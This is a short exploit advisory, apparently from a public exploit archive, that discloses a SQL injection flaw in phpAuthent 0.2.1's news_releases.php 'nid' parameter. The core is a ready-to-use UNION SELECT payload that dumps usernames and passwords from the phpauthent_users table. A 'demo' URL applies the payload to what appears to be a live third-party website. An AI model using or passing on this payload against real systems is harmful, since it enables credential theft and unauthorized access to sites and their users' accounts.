phpAuthent 0.2.1 SQL Injection  Vulnerability  
    
########################### 
    
Author    : Gamoscu 
 
Homepage  : http://www.1923turk.com  

Blog      : http://gamoscu.wordpress.com/  

Script    : phpAuthent http://phpauth.sourceforge.net/

Download  : http://phpauth.sourceforge.net/download.php 
    
###########################   
      
[ Vulnerable File ] 
  
news_releases.php?nid= [ SQL ] 
       
  
[ XpL ] 
    
-1+union+select+1,2,3,username,password,6,7+from+phpauthent_users
  
  
[ Demo] 
      
      
http://www.nok4444444444444444444444ers.com/news_releases.php?nid=-1+union+select+1,2,3,username,password,6,7+from+phpauthent_users